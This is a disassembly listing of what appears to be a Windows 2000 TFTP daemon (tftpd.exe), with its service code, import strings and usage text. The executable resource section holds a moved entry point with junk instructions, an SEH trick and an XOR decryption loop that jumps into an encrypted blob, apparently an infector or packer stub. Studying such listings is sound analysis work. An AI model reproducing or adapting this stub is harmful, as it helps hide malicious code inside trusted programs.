jmp short loc_10038FF
; ---------------------------------------------------------------------------
loc_10038F6: ; CODE XREF: sub_10037BF+12Dj
cmp [ebp+Type], 1
jnz short loc_10038FF
inc [ebp+var_4]
loc_10038FF: ; CODE XREF: sub_10037BF+135j
; sub_10037BF+13Bj
push [ebp+hKey] ; hKey
call ds:RegCloseKey ; RegCloseKey
mov eax, [ebp+var_4]
pop esi
pop edi
loc_100390D: ; CODE XREF: sub_10037BF+32j
pop ebx
leave
retn
sub_10037BF endp
; =============== S U B R O U T I N E =======================================
sub_1003910 proc near ; CODE XREF: sub_1001665+193p
Dst = byte ptr -1F4h
sub esp, 1F4h
cmp byte ptr dword_1005E07+1, 0
push ebx
push ebp
push esi
push edi
mov ebp, 1F4h
mov ebx, (offset dword_1005E07+1)
jnz short loc_100393D
push ebp ; Count
push offset Source ; "\\tftpdroot\\"
push ebx ; Dest
call ds:strncpy ; strncpy
add esp, 0Ch
loc_100393D: ; CODE XREF: sub_1003910+1Bj
lea eax, [esp+204h+Dst]
push ebp ; nSize
push eax ; lpDst
push ebx ; lpSrc
call ds:ExpandEnvironmentStringsA ; ExpandEnvironmentStringsA
test eax, eax
jnz short loc_1003952
push 57h
jmp short loc_10039CA
; ---------------------------------------------------------------------------
loc_1003952: ; CODE XREF: sub_1003910+3Cj
mov ecx, eax
lea esi, [esp+204h+Dst]
mov edi, ebx
or edx, 0FFFFFFFFh
shr ecx, 2
rep movsd
mov ecx, eax
xor eax, eax
and ecx, 3
rep movsb
mov edi, ebx
mov ecx, edx
repne scasb
not ecx
dec ecx
cmp byte ptr dword_1005E07[ecx], 2Fh
lea eax, dword_1005E07[ecx]
jnz short loc_1003986
mov byte ptr [eax], 5Ch
loc_1003986: ; CODE XREF: sub_1003910+71j
cmp byte ptr [eax], 5Ch
jz short loc_10039B7
cmp ecx, ebp
jnb short loc_10039B7
mov edi, offset asc_100155C ; "\\"
mov ecx, edx
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov esi, edi
mov ebp, ecx
mov edi, ebx
mov ecx, edx
repne scasb
mov ecx, ebp
dec edi
shr ecx, 2
rep movsd
mov ecx, ebp
and ecx, 3
rep movsb
loc_10039B7: ; CODE XREF: sub_1003910+79j
; sub_1003910+7Dj
mov edi, ebx
mov ecx, edx
xor eax, eax
push 1
repne scasb
not ecx
dec ecx
mov dword_1005FFC, ecx
loc_10039CA: ; CODE XREF: sub_1003910+40j
pop eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 1F4h
retn
sub_1003910 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_10039D6 proc near ; CODE XREF: sub_1002F31+148p
; sub_1002F31+159p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push edi
mov al, [esi]
test al, al
jz short loc_1003A2E
cmp al, 2Ah
jz short loc_1003A04
cmp al, 3Fh
jz short loc_10039F7
mov ecx, [ebp+arg_4]
cmp al, [ecx]
jnz short loc_1003A25
inc ecx
push ecx
jmp short loc_1003A01
; ---------------------------------------------------------------------------
loc_10039F7: ; CODE XREF: sub_10039D6+14j
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 0
jz short loc_1003A25
inc eax
push eax
loc_1003A01: ; CODE XREF: sub_10039D6+1Fj
inc esi
jmp short loc_1003A1B
; ---------------------------------------------------------------------------
loc_1003A04: ; CODE XREF: sub_10039D6+10j
mov edi, [ebp+arg_4]
lea eax, [esi+1]
push edi
push eax
call sub_10039D6
test eax, eax
jnz short loc_1003A29
cmp [edi], al
jz short loc_1003A25
inc edi
push edi
loc_1003A1B: ; CODE XREF: sub_10039D6+2Cj
push esi
call sub_10039D6
test eax, eax
jnz short loc_1003A29
loc_1003A25: ; CODE XREF: sub_10039D6+1Bj
; sub_10039D6+27j ...
xor eax, eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A29: ; CODE XREF: sub_10039D6+3Dj
; sub_10039D6+4Dj
push 1
pop eax
jmp short loc_1003A38
; ---------------------------------------------------------------------------
loc_1003A2E: ; CODE XREF: sub_10039D6+Cj
mov ecx, [ebp+arg_4]
xor eax, eax
cmp [ecx], al
setz al
loc_1003A38: ; CODE XREF: sub_10039D6+51j
; sub_10039D6+56j
pop edi
pop esi
pop ebp
retn 8
sub_10039D6 endp
; [00000006 BYTES: COLLAPSED FUNCTION _chkstk. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION NotifyAddrChange. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetIpAddrTable. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_1001560
push offset loc_1003BF0
mov eax, large fs:0
push eax
mov large fs:0, esp
add esp, 0FFFFFFE0h
push ebx
push esi
push edi
mov [ebp-18h], esp
mov dword ptr [ebp-4], 0
push 1
call ds:__set_app_type ; __set_app_type
add esp, 4
mov dword_10062D0, 0FFFFFFFFh
mov dword_10062D4, 0FFFFFFFFh
call ds:__p__fmode ; __p__fmode
mov ecx, dword_100600C
mov [eax], ecx
call ds:__p__commode ; __p__commode
mov edx, dword_1006008
mov [eax], edx
mov eax, ds:_adjust_fdiv
mov ecx, [eax]
mov dword_10062D8, ecx
call nullsub_2
mov eax, dword_1005DC4
test eax, eax
jnz short loc_1003AE1
push offset loc_1003BD0
call ds:__setusermatherr ; __setusermatherr
add esp, 4
loc_1003AE1: ; CODE XREF: .text:01003AD1j
call sub_1003BB0
push offset dword_100500C
push offset dword_1005008
call _initterm ; _initterm
add esp, 8
mov edx, dword_1006004
mov [ebp-28h], edx
lea eax, [ebp-28h]
push eax
mov ecx, dword_1006000
push ecx
lea edx, [ebp-20h]
push edx
lea eax, [ebp-2Ch]
push eax
lea ecx, [ebp-1Ch]
push ecx
call ds:__getmainargs ; __getmainargs
add esp, 14h
push offset dword_1005004
push offset dword_1005000
call _initterm ; _initterm
add esp, 8
call ds:__p___initenv ; __p___initenv
mov edx, [ebp-20h]
mov [eax], edx
mov eax, [ebp-20h]
push eax
mov ecx, [ebp-2Ch]
push ecx
mov edx, [ebp-1Ch]
push edx
call sub_1001570
; ---------------------------------------------------------------------------
add esp, 0Ch
mov [ebp-24h], eax
push eax
call ds:exit ; exit
; ---------------------------------------------------------------------------
jmp short loc_1003B80
; ---------------------------------------------------------------------------
mov eax, [ebp-14h]
mov ecx, [eax]
mov ecx, [ecx]
mov [ebp-30h], ecx
push eax
push ecx
call _XcptFilter ; _XcptFilter
add esp, 8
retn
; ---------------------------------------------------------------------------
mov esp, [ebp-18h]
mov edx, [ebp-30h]
push edx
call ds:_exit ; _exit
; ---------------------------------------------------------------------------
loc_1003B80: ; CODE XREF: .text:01003B5Cj
add esp, 4
mov dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, [ebp-10h]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _XcptFilter. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
align 10h
; =============== S U B R O U T I N E =======================================
sub_1003BB0 proc near ; CODE XREF: .text:loc_1003AE1p
push 30000h ; Mask
push 10000h ; NewValue
call _controlfp ; _controlfp
add esp, 8
retn
sub_1003BB0 endp
; ---------------------------------------------------------------------------
align 10h
loc_1003BD0: ; DATA XREF: .text:01003AD3o
xor eax, eax
retn
; ---------------------------------------------------------------------------
align 10h
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND]
align 10h
loc_1003BF0: ; DATA XREF: .text:01003A5Ao
jmp ds:_except_handler3
; [00000006 BYTES: COLLAPSED FUNCTION _controlfp. PRESS KEYPAD "+" TO EXPAND]
dd 3D7Ch, 2 dup(0FFFFFFFFh), 3E60h, 10F4h, 3CA4h, 2 dup(0FFFFFFFFh)
dd 4012h, 101Ch, 3C88h, 2 dup(0FFFFFFFFh), 40A2h, 1000h
dd 3DCCh, 2 dup(0FFFFFFFFh), 4172h, 1144h, 3DC0h, 2 dup(0FFFFFFFFh)
dd 41A2h, 1138h, 3D04h, 2 dup(0FFFFFFFFh), 42F6h, 107Ch
dd 5 dup(0)
dd 4092h, 4020h, 407Eh, 4070h, 4052h, 403Eh, 0
dd 3E6Ch, 3FF6h, 3FE6h, 3FCEh, 3FBEh, 3FB2h, 3FA2h, 3E7Ah
dd 3E8Ah, 3EA0h, 3EB0h, 3ECCh, 3EDAh, 3EF2h, 3EFEh, 3F0Ch
dd 3F24h, 3F3Ch, 3F56h, 3F62h, 3F70h, 3F78h, 3F92h, 0
dd 4282h, 4272h, 428Eh, 4230h, 4226h, 421Eh, 4214h, 420Ah
dd 4200h, 41F8h, 41F0h, 41E6h, 41DCh, 41D2h, 41CAh, 41C2h
dd 4302h, 42E2h, 42D0h, 42C2h, 42B2h, 42A2h, 41B8h, 4262h
dd 4254h, 424Ch, 423Ah, 4242h, 41B0h, 0
dd 3E52h, 8000006Fh, 80000073h, 3E08h, 80000009h, 3E1Ah
dd 8000000Fh, 3E34h, 8000000Ah, 3E42h, 80000003h, 8000000Ch
dd 80000002h, 80000037h, 80000017h, 80000014h, 0
dd 417Ch, 4190h, 0
dd 4126h, 4168h, 415Eh, 4154h, 4142h, 4130h, 411Ah, 4112h
dd 410Ah, 40F4h, 40EAh, 40D4h, 40B0h, 40C2h, 0
dd 53570019h, 65764541h, 6553746Eh, 7463656Ch, 1B0000h
aWsagetoverlapp db 'WSAGetOverlappedResult',0
align 4
a2 db '2',0
aWsarecvfrom db 'WSARecvFrom',0
dw 0Fh
aWsacloseevent db 'WSACloseEvent',0
db '=',0
aWsasocketa db 'WSASocketA',0
align 10h
aWs2_32_dll db 'WS2_32.dll',0
align 4
aM db 'Œ',0
aExitprocess db 'ExitProcess',0
dw 12Dh
aGetlasterror db 'GetLastError',0
align 2
dw 2FDh
aWaitforsingleo db 'WaitForSingleObject',0
a4 db '4',0
aCreateeventa db 'CreateEventA',0
align 10h
db 0C5h ; Å
db 1, 49h, 6Eh
aItializecritic db 'itializeCriticalSection',0
dd 654801B6h, 72437061h, 65746165h, 1DE0000h
aLeavecriticals db 'LeaveCriticalSection',0
align 2
dw 1BAh
aHeapfree db 'HeapFree',0
align 2
dw 1Eh
aClosehandle db 'CloseHandle',0
aO db 'o',0
aEntercriticals db 'EnterCriticalSection',0
align 4
retf
; ---------------------------------------------------------------------------
db 1, 49h, 6Eh
aTerlockedincre db 'terlockedIncrement',0
align 4
db 0FBh ; û
db 2, 57h, 61h
aItformultipleo db 'itForMultipleObjects',0
align 2
dw 1B4h
aHeapalloc db 'HeapAlloc',0
dw 252h
aResetevent db 'ResetEvent',0
align 10h
retn
; ---------------------------------------------------------------------------
db 2, 53h, 6Ch
db 65h ; e
db 65h, 70h, 0
db 0D8h ; Ø
db 2, 54h, 72h
aYentercritical db 'yEnterCriticalSection',0
dw 2C5h
aSuspendthread db 'SuspendThread',0
dw 254h
aResumethread db 'ResumeThread',0
db 0, 90h, 2
aSetevent db 'SetEvent',0
align 2
dw 29Ch
aSetlasterror db 'SetLastError',0
align 2
aZ db 'Z',0
aDeletecritical db 'DeleteCriticalSection',0
dw 12Fh
aGetlocaltime db 'GetLocalTime',0
align 2
aP db '',0
aExpandenvironm db 'ExpandEnvironmentStringsA',0
aKernel32_dll db 'KERNEL32.dll',0
align 10h
db 0E5h ; å
db 1, 53h, 74h
aArtservicectrl db 'artServiceCtrlDispatcherA',0
dw 1DFh
aSetservicestat db 'SetServiceStatus',0
align 2
dw 1B9h
aRegisterservic db 'RegisterServiceCtrlHandlerA',0
db 84h ; „
db 1, 52h, 65h
aGclosekey db 'gCloseKey',0
dw 1A7h
aRegqueryvaluee db 'RegQueryValueExA',0
align 2
dw 19Dh
aRegopenkeyexa db 'RegOpenKeyExA',0
aAdvapi32_dll db 'ADVAPI32.dll',0
align 10h
db 50h ; P
db 2, 52h, 74h
aLregisterwait db 'lRegisterWait',0
dw 184h
aRtlcreatetimer db 'RtlCreateTimer',0
align 4
db 85h ; …
db 1, 52h, 74h
aLcreatetimerqu db 'lCreateTimerQueue',0
dw 42Eh
a_chkstk db '_chkstk',0
db 0A1h ; ¡
db 1, 52h, 74h
aLderegisterwai db 'lDeregisterWaitEx',0
dw 433h
a_itoa db '_itoa',0
dw 450h
aAtoi db 'atoi',0
align 2
dw 43Dh
a_stricmp db '_stricmp',0
align 2
dw 46Dh
aMemmove db 'memmove',0
dd 7452019Dh, 6C65446Ch, 54657465h, 72656D69h, 2990000h
dd 556C7452h, 74616470h, 6D695465h, 7265h, 6F740486h, 65776F6Ch
dd 45F0072h, 70757369h, 726570h, 7473047Dh, 70636E72h
dd 746E0079h, 2E6C6C64h, 6C6C64h, 6F4E004Fh, 79666974h
dd 72646441h, 6E616843h, 6567h, 65470022h, 41704974h, 54726464h
dd 656C6261h, 70690000h, 61706C68h, 642E6970h, 6C6Ch, 78650246h
dd 7469h, 7270029Bh, 66746E69h, 2430000h, 6D697463h, 2540065h
dd 65706F66h, 17F006Eh, 646B6D5Fh, 7269h, 655F00C5h, 6F6E7272h
dd 0AA0000h, 6468635Fh, 7269h, 697402CDh, 656Dh, 7266025Bh
dd 6565h, 63660249h, 65736F6Ch, 2A40000h, 6C616572h, 636F6Ch
dd 616D028Eh, 636F6C6Ch, 1950000h, 6165725Fh, 0B00064h
dd 6F6C635Fh, 6573h, 6C5F0141h, 6B656573h, 1840000h, 65706F5Fh
dd 214006Eh, 6972775Fh, 6574h, 655F00D0h, 746978h, 585F0048h
dd 46747063h, 65746C69h, 630072h, 5F705F5Fh, 6E695F5Fh
dd 6E657469h, 580076h, 65675F5Fh, 69616D74h, 6772616Eh
dd 10C0073h, 696E695Fh, 72657474h, 82006Dh, 65735F5Fh
dd 65737574h, 74616D72h, 72726568h, 9B0000h, 6A64615Fh
dd 5F747375h, 76696466h, 690000h, 5F705F5Fh, 6D6F635Fh
dd 65646F6Dh, 6E0000h, 5F705F5Fh, 6F6D665Fh, 6564h, 5F5F0080h
dd 5F746573h, 5F707061h, 65707974h, 0C70000h, 6378655Fh
dd 5F747065h, 646E6168h, 3372656Ch, 534D0000h, 54524356h
dd 6C6C642Eh, 0B40000h, 6E6F635Fh, 6C6F7274h, 7066h, 3Ch dup(0)
_text ends
; Section 2. (virtual address 00005000)
; Virtual size : 000012DC ( 4828.)
; Section size in file : 00000E00 ( 3584.)
; Offset to raw data for section: 00003A00
; Flags C0000040: Data Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure data
; Segment permissions: Read/Write
_data segment para public 'DATA' use32
assume cs:_data
;org 1005000h
dword_1005000 dd 0 dword_1005004 dd 0 dword_1005008 dd 0 dword_100500C dd 0 ; char Format[]
Format db ' ================================================================'
; DATA XREF: sub_1001570+4Do
db '======== ',0Ah
db 'Abstract: '
db ' ',0Ah
db ' This implements an RFC 783 tftp daemon. '
db ' ',0Ah
db ' It listens on port 69 for requests '
db ' ',0Ah
db ' and spawns a thread to process each request. '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'TFTPD USAGE and Installation: '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' md d:/tftpd (the StartDirec'
db 'tory). ',0Ah
db ' copy //MohsinA_p90/test/tftpd.exe . '
db ' ',0Ah
db ' sc create tftpd binPath= d:/tftpd/tftpd.exe (give full path'
db '). ',0Ah
db ' sc query tftpd (check if insta'
db 'lled). ',0Ah
db ' '
db ' ',0Ah
db 'Start: '
db ' ',0Ah
db ' sc start tftpd -f (creates a log '
db 'file). ',0Ah
db 'or sc start tftpd '
db ' ',0Ah
db 'or net start tftpd '
db ' ',0Ah
db 'or sc start tftpd [-dStartDirectory] [-e] [-f] '
db ' ',0Ah
db ' Options: -e use event log. '
db ' ',0Ah
db ' -f log to file. '
db ' ',0Ah
db ' -dStartDirectory '
db ' ',0Ah
db 'Info: '
db ' ',0Ah
db ' sc interrogate tftpd (logs will be updated). '
db ' ',0Ah
db ' sc query tftpd Check whether running. '
db ' ',0Ah
db 'Stop: '
db ' ',0Ah
db ' sc stop tftpd '
db ' ',0Ah
db ' net stop tftpd '
db ' ',0Ah
db ' '
db ' ',0Ah
db 'Variables that control what files can be read/written and by whom'
db ': ',0Ah
db ' StartDirectory - only files there will be accessible. '
db ' ',0Ah
db ' LogFile is created here. '
db ' ',0Ah
db ' ValidClients - Clients matching this ip address can read files'
db '. ',0Ah
db ' eg. you can set it to "157.55.8?.*" '
db ' ',0Ah
db ' ValidMasters - clients matching this can write and read file'
db 's. ',0Ah
db ' eg. you can set it to "" and no one can write'
db '. ',0Ah
db ' ValidReadFiles - only matching files will be served out, eg. "'
db 'r*.t?t"',0Ah
db ' ValidWriteFiles- only matching files will be accepted, eg. "w'
db '*.txt" ',0Ah
db ' '
db ' ',0Ah
db 'Client: '
db ' ',0Ah
db ' tftp [-i] servername {get|put} src_file dest_file '
db ' ',0Ah
db ' -i from binary mode, else ascii mode is used. '
db ' ',0Ah
db ' '
db ' ',0Ah
db ' ================================================================'
db '======== ',0Ah,0
align 8
; char ServiceName[]
ServiceName db 'Tftpd',0 ; DATA XREF: sub_1001665+Bo
; .data:ServiceStartTableo
align 10h
; SERVICE_TABLE_ENTRYA ServiceStartTable
ServiceStartTable SERVICE_TABLE_ENTRYA <offset ServiceName, offset sub_1001665>
; DATA XREF: sub_1001570:loc_1001646o
; "Tftpd"
align 10h
off_1005CC0 dd offset aErrorUndefined ; DATA XREF: sub_100230A+73r
; "Error undefined"
dd offset aFileNotFound ; "File not found"
dd offset aAccessViolatio ; "Access violation"
dd offset aDiskFullOrAllo ; "Disk full or allocation exceeded"
dd offset aIllegalTftpOpe ; "Illegal TFTP operation"
dd offset aUnknownTransfe ; "Unknown transfer ID"
dd offset aFileAlreadyExi ; "File already exists"
dd offset aNoSuchUser ; "No such user"
dd offset aOptionNegotiat ; "Option negotiation failure"
align 8
; BYTE Data
Data db 2Ah ; DATA XREF: sub_1002F31+143o
; sub_10037BF+87o
align 4
dd 0Dh dup(0)
; BYTE byte_1005D20
byte_1005D20 db 2Ah ; DATA XREF: sub_1002F31+154o
; sub_100333A+163o ...
align 4
dd 0Dh dup(0)
; BYTE byte_1005D58
byte_1005D58 db 2Ah ; DATA XREF: sub_1002F31+165o
; sub_10037BF+EAo
align 4
dd 0Dh dup(0)
; BYTE byte_1005D90
byte_1005D90 db 2Ah ; DATA XREF: sub_100333A+178o
; sub_10037BF+11Ao
align 4
dd 0Ch dup(0)
dword_1005DC4 dd 1 align 10h
; FILE *File
File dd 0 ; DATA XREF: sub_1001665+1E5w
; sub_1001E73:loc_1001F36r ...
dword_1005DD4 dd 0 dword_1005DD8 dd 0 ; sub_1001665:loc_100182Er ...
; HANDLE hHandle
hHandle dd 0 ; DATA XREF: sub_1001665+84w
; sub_1001665+8Br ...
; HANDLE hObject
hObject dd 0 ; DATA XREF: sub_1001665+91w
; sub_1001E73:loc_1001F0Cr ...
align 8
; volatile LONG Addend
Addend dd 0 ; DATA XREF: sub_1001A91+26Eo
; sub_1001A91+2B3o
; HANDLE hHeap
hHeap dd 0 ; DATA XREF: sub_10019F0+29w
; sub_1001A1F+52r ...
dword_1005DF0 dd 0 ; sub_1001A1F+5Ew ...
dword_1005DF4 dd 0 ; sub_1001A91+59w ...
dword_1005DF8 dd 0 ; sub_10018DB+EFr
dword_1005DFC dd 0 ; HANDLE Handle
Handle dd ? ; DATA XREF: sub_10018DB+F4o
; sub_1002219+D5o
db 3 dup(?)
dword_1005E07 dd ? ; sub_1003910+6Br ...
align 4
dd 7Ch dup(?)
dword_1005FFC dd ? dword_1006000 dd ? dword_1006004 dd ? dword_1006008 dd ? dword_100600C dd ? dd 4 dup(?)
; struct _RTL_CRITICAL_SECTION stru_1006020
stru_1006020 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+14o
; .text:01001D78o ...
; void *Memory
Memory dd ? ; DATA XREF: sub_10018DB+2Ao
; sub_10018DB+34w ...
dword_100603C dd ? ; HANDLE hThread
hThread dd ? ; DATA XREF: HandlerProc:loc_1001E1Dr
; HandlerProc:loc_1001E35r
; SERVICE_STATUS_HANDLE hServiceStatus
hServiceStatus dd ? ; DATA XREF: sub_1001665+52w
; sub_1001665+DBr ...
dword_1006048 dd 6 dup(?) ; struct _RTL_CRITICAL_SECTION stru_1006060
stru_1006060 _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10019F0+5o
; sub_1001A1F+2o ...
; LPVOID lpMem
lpMem dd ? ; DATA XREF: sub_10019F0o
; sub_10019F0+Fw ...
dword_100607C dd ? ; struct _RTL_CRITICAL_SECTION CriticalSection
CriticalSection _RTL_CRITICAL_SECTION <?> ; DATA XREF: sub_10018DB+Do
; sub_100287F+1o ...
dword_1006098 dd ? ; sub_10018DB+25w ...
dword_100609C dd ? dword_10060A0 dd ? ; sub_10018DB+A2r ...
dd 7 dup(?)
; time_t Time
Time dq ? ; DATA XREF: sub_1001665+10Ao
; sub_1001665:loc_1001857o ...
dword_10060C8 dd ? dword_10060CC dd ? dd 0Ch dup(?)
; struct _OVERLAPPED overlapped
overlapped _OVERLAPPED <?> ; DATA XREF: sub_10018DB+E0o
; sub_1002219:loc_10022E9o
align 10h
; struct _SERVICE_STATUS ServiceStatus
ServiceStatus _SERVICE_STATUS <?> ; DATA XREF: sub_1001665+10w
; sub_1001665+63o ...
align 10h
; struct WSAData stru_1006140
stru_1006140 WSAData <?> ; DATA XREF: sub_1001665+9Co
dword_10062D0 dd ? dword_10062D4 dd ? dword_10062D8 dd ? align 200h
_data ends
; Section 3. (virtual address 00007000)
; Virtual size : 00010400 ( 66560.)
; Section size in file : 0000B000 ( 45056.)
; Offset to raw data for section: 00004800
; Flags E0000060: Text Data Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_rsrc segment para public 'CODE' use32
assume cs:_rsrc
;org 1007000h
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
dd 3 dup(0)
dd 10000h, 10h, 80000018h, 3 dup(0)
dd 10000h, 1, 80000030h, 3 dup(0)
dd 10000h, 409h, 48h, 7060h, 374h, 4 dup(0)
dd 340374h, 560000h, 5F0053h, 450056h, 530052h, 4F0049h
dd 5F004Eh, 4E0049h, 4F0046h, 0
dd 0FEEF04BDh, 10000h, 50000h, 8560001h, 50000h, 8560001h
dd 3Fh, 0
dd 40004h, 1, 3 dup(0)
dd 2D4h, 530001h, 720074h, 6E0069h, 460067h, 6C0069h, 490065h
dd 66006Eh, 6Fh, 2B0h, 300001h, 300034h, 300039h, 420034h
dd 30h, 16004Ch, 430001h, 6D006Fh, 610070h, 79006Eh, 61004Eh
dd 65006Dh, 0
aMicrosoftCorpo:
unicode 0, <Microsoft Corporation>,0
aR:
unicode 0, <r%>
dd 460001h, 6C0069h, 440065h, 730065h, 720063h, 700069h
dd 690074h, 6E006Fh, 0
aTcpIpTrivialFi:
unicode 0, <TCP/IP Trivial file transfer daemon.>,0
align 4
a8 db '8',0
dw 0Ch
dd 460001h, 6C0069h, 560065h, 720065h, 690073h, 6E006Fh
dd 0
a5_00_2134_1:
unicode 0, <5.00.2134.1>,0
a4_0:
unicode 0, <4>
dw 0Ah
dd 490001h, 74006Eh, 720065h, 61006Eh, 4E006Ch, 6D0061h
dd 65h, 660074h, 700074h, 2E0064h, 780065h, 65h, 280074h
dd 4C0001h, 670065h, 6C0061h, 6F0043h, 790070h, 690072h
dd 680067h, 74h, 6F0043h, 790070h, 690072h, 680067h, 200074h
dd 430028h, 200029h, 69004Dh, 720063h, 73006Fh, 66006Fh
dd 200074h, 6F0043h, 700072h, 20002Eh, 390031h, 310038h
dd 31002Dh, 390039h, 39h, 0A003Ch, 4F0001h, 690072h, 690067h
dd 61006Eh, 46006Ch, 6C0069h, 6E0065h, 6D0061h, 65h, 660074h
dd 700074h, 2E0064h, 780065h, 65h, 2F007Eh, 500001h, 6F0072h
dd 750064h, 740063h, 61004Eh, 65006Dh, 0
aMicrosoftRWind:
unicode 0, <Microsoft(R) Windows (R) 2000 Operating System>,0
align 4
db '<',0
dw 0Ch
dd 500001h, 6F0072h, 750064h, 740063h, 650056h, 730072h
dd 6F0069h, 6Eh, 2E0035h, 300030h, 32002Eh, 330031h, 2E0034h
dd 31h, 44h, 560001h, 720061h, 690046h, 65006Ch, 6E0049h
dd 6F0066h, 0
dd 40024h, 540000h, 610072h, 73006Eh, 61006Ch, 690074h
dd 6E006Fh, 0
dd 4B00409h, 0Bh dup(0)
assume ds:_data
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
public start
start proc near
push ebp
mov ebp, esp
call loc_1007416
mov edx, edx
stc
call sub_10074CB
clc
jmp near ptr byte_1007455
start endp
; ---------------------------------------------------------------------------
loc_1007416: ; CODE XREF: start+3p
push dword ptr fs:0
mov ds:dword_1007456, ebp
cmc
mov fs:0, esp
xor ebx, ebx
push 1
push 80000000h
push ebx
push ebx
push ebx
push 80000000h
push 1
push ebx
push 8000h
push 80000000h
push ebx
push ebx
call ds:GetLastError
; ---------------------------------------------------------------------------
byte_1007455 db 0BDh ; CODE XREF: start+11j
dword_1007456 dd 9003854Fh align 4
db 0F5h, 29h, 0C0h
; ---------------------------------------------------------------------------
loc_100745F: ; CODE XREF: .rsrc:01007465j
dec al
or al, al
jz short loc_1007469
jnz short loc_100745F
; ---------------------------------------------------------------------------
db 0EBh
db 67h
; ---------------------------------------------------------------------------
loc_1007469: ; CODE XREF: .rsrc:01007463j
clc
mov edx, edx
cmc
call sub_1007475
stc
jmp short $+2
; =============== S U B R O U T I N E =======================================
sub_1007475 proc near ; CODE XREF: .rsrc:0100746Dp
pop ecx
jmp short $+2
mov edx, edx
stc
stc
sub ecx, 0FFFF8072h
xor ebx, ebx
or ebx, 2A6Bh
clc
mov edx, edx
nop
mov esi, 0C2h
mov ebx, ebx
mov edx, edx
push ecx
cmc
xchg ebx, ebx
loc_100749B: ; CODE XREF: sub_1007475+3Dj
mov al, [ecx]
mov eax, eax
stc
xor ax, si
nop
cld
xchg al, [ecx]
stc
add ecx, 1
dec ebx
mov eax, eax
stc
cmp ebx, 0
ja short loc_100749B
pop ecx
nop
cmc
stc
mov esi, [ebp-8]
mov fs:0, esi
clc
mov edx, edx
leave
cld
clc
jmp ecx
sub_1007475 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
jmp short $+2
; =============== S U B R O U T I N E =======================================
sub_10074CB proc near ; CODE XREF: start+Bp
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
pop dword ptr [eax+0B8h]
xor eax, eax
retn
sub_10074CB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 87h, 0DBh
; ---------------------------------------------------------------------------
stc
retf
; ---------------------------------------------------------------------------
dd 2EF5BC64h, 36352B6Bh, 4FE8F84Fh, 0C6C18B8h, 460F4C13h
dd 0A269597Ah, 0B81CCC64h, 63B1F8BFh, 0D91D508Bh, 3222451Fh
dd 19E68F6Bh, 0FAEA0CE7h, 0E000F733h, 4DDE6BA2h, 0CAD9B5E3h
dd 8A8B93E3h, 73227DC3h, 0DD19F0B7h, 0C301E807h, 2A1A3824h
dd 0FEC54553h, 869C7037h, 0C68D0603h, 9239C3FFh, 8E551C8Eh
dd 0EBADC1F2h, 561EE4E8h, 0BB733F8Fh, 1DD5AC56h, 50441156h
dd 5916DC8Fh, 0B5126093h, 0AE753D03h, 55E40F5Ch, 17947CEh
dd 0DB8760FFh, 0B34A1CCBh, 0ADBCB360h, 5058B4CDh, 3BA47B57h
dd 34585FD0h, 267BB888h, 1766993Bh, 0DDB00D47h, 639950F4h
dd 2D62BA79h, 4AF9DDA3h, 63F50AEAh, 0A5C46F46h, 4C24AE2Bh
dd 41784727h, 8D64AF23h, 8F869160h, 0ED8FF0C7h, 7BF5BBEBh
dd 15F1B87Fh, 925A27ADh, 17B99080h, 0DA9D642Bh, 360C6783h
dd 53F23017h, 8259495Fh, 32CA7F68h, 0F511E8E1h, 2B24727h
dd 9DD9B0A9h, 6FF5400h, 0E964C52Fh, 47940F44h, 0CAACE94Ah
dd 60D814DBh, 3D5B08EFh, 0D4169C26h, 14CF4666h, 0FDA0FF5Eh
dd 0EBC188D4h, 7E26FA67h, 9D46DC17h, 3D1CFE32h, 7ABF8FF1h
dd 0B9CD486Dh, 8FB284C4h, 0A3BEF296h, 7EE5190Bh, 8B0010F5h
dd 78F505D8h, 0E840B457h, 33A9DE9Ah, 0F96B935Ah, 0AB9A1B54h
dd 0B19E43E2h, 0B8931ABBh, 2A82AE98h, 0FD02FDEAh, 45574A48h
dd 63290301h, 0ADFE868Dh, 34E4B38Bh, 8734B586h, 0FE710896h
dd 0C0C0E99Ah, 8715A42Dh, 0DDDC8379h, 0A72E31D0h, 97CF8BA3h
dd 9293BC84h, 0E51F6F4Dh, 9E91CD95h, 726A0EDAh, 2215713Dh
dd 7A779A7Eh, 0B33EE003h, 2C9A2632h, 4FDDF980h, 8D6431D6h
dd 0DB91689Bh, 7BE000C3h, 6635F43Eh, 1FD517A5h, 0A65690E0h
dd 0B99B4B06h, 2202D5C5h, 453FA430h, 94C988A7h, 0AF36E07h
dd 0AD4BC1D1h, 85D8FA9Eh, 57EDBF9Dh, 5E3B8652h, 0EF375861h
dd 7507D1F3h, 0C2B9D8B8h, 1145B015h, 0F9698C6Ch, 8DFD2A3Eh
dd 41AF656Dh, 5948B6D2h, 0E143F8A9h, 18E24286h, 5B51080Bh
